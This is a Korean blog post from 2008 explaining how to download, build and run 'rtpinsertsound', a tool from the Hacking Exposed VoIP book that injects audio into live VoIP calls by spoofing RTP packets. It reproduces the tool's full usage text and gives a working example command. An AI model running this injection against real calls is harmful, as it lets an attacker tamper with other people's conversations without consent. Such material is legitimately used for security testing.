VoIP RTP Attack 방법

Hacking Exposed VoIP companion의 VoIP Attack을 수행하는 리눅스 기반 공격 도구(http://hackingexposedvoip.com/sec_tools.html)이다. 이를 이용하여 RTP 공격을 시도하기 위해서 아래와 같은 절차를 따른다.

리눅스 빌드를 위해 libpcap, libnet이 설치되어 있어야 한다.

 

1. Download and Build

http://hackingexposedvoip.com/tools/hack_library.tar.gz
http://hackingexposedvoip.com/tools/g71 ··· s.tar.gz

http://hackingexposedvoip.com/tools/lib ··· b.tar.gz
http://hackingexposedvoip.com/tools/rtp ··· 0.tar.gz

2. Usage

rtpinsertsound - Version 2.0
                 October 10, 2006
Usage:
Mandatory -
        pathname of file whose audio is to be mixed into the
            targeted live audio stream. If the file extension is
            .wav, then the file must be a standard Microsoft
            RIFF formatted WAVE file meeting these constraints:
              1) header 'chunks' must be in one of two sequences:
                   RIFF, fmt, fact, data
                     or
                   RIFF, fmt, data
              2) Compression Code = 1 (PCM/Uncompressed)
              3) Number of Channels = 1 (mono)
              4) Sample Rate (Hz) = 8000
              5) Significant Bits/Sample =
                      signed,   linear 16-bit or
                      unsigned, linear  8-bit
            If the file name does not specify a .wav extension,
            then the file is presumed to be a tcpdump formatted
            file with a sequence of, exclusively, G.711 u-law
            RTP/UDP/IP/ETHERNET messages
            Note: Yep, the format is referred to as 'tcpdump'
                  even though this file must contain udp messages
Optional -
        -a source RTP IPv4 addr
        -A source RTP port
        -b destination RTP IPv4 addr
        -B destination RTP port
        -f spoof factor - amount by which to:
             a) increment the RTP hdr sequence number obtained
                from the ith legitimate packet to produce the
                RTP hdr sequence number for the ith spoofed packet
             b) multiply the RTP payload length and add that
                product to the RTP hdr timestamp obtained from
                the ith legitimate packet to produce the RTP hdr
                timestamp for the ith spoofed packet
             c) increment the IP hdr ID number obtained from the
                ith legitimate packet to produce the IP hdr ID
                number for the ith spoofed packet
           [ range: +/- 1000, default: 2 ]
        -i interface (e.g. eth0)
        -j jitter factor - the reception of a legitimate RTP
             packet in the target audio stream enables the output
             of the next spoofed packet. This factor determines
             when that spoofed packet is actually transmitted.
             The factor relates how close to the next legitimate
             packet you'd actually like the enabled spoofed packet
             to be transmitted. For example, -j 10 means 10% of
             the codec's transmission interval. If the transmission
             interval = 20,000 usec (i.e. G.711), then delay the
             output of the spoofed RTP packet until the time-of-day
             is within 2000 usec (i.e. 10%) of the time the next
             legitimate RTP packet is expected. In other words,
             delay 100% minus the jitter factor, or 18,000 usec
             in this example. The smaller the jitter factor, the
             greater the risk you run of not outputting the current
             spoofed packet before the next legitimate RTP packet
             is received. Therefore, a factor > 10 is advised.
           [ range: 0 - 80, default: 80 = output spoof ASAP ]
        -p seconds to pause between setup and injection
        -h help - print this usage
        -v verbose output mode

 

3. 사용예제

./rtpinsertsound eth0 10.1.101.40 39120 10.1.101.60 64006 AlphabetRecitation.wav -f 1 -j 10

이올린에 북마크하기(0) 이올린에 추천하기(0)

Posted by Charley Lim

2008/09/05 13:25 2008/09/05 13:25

Trackback URL : http://my.blogzin.net/charley/trackback/185

Leave a comment
[로그인][오픈아이디란?]
« Previous : 1 : ... 6 : 7 : 8 : 9 : 10 : 11 : 12 : 13 : 14 : ... 98 : Next »

Calendar

«   2008/11   »
            1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30            

334

251

-30 days

today : 297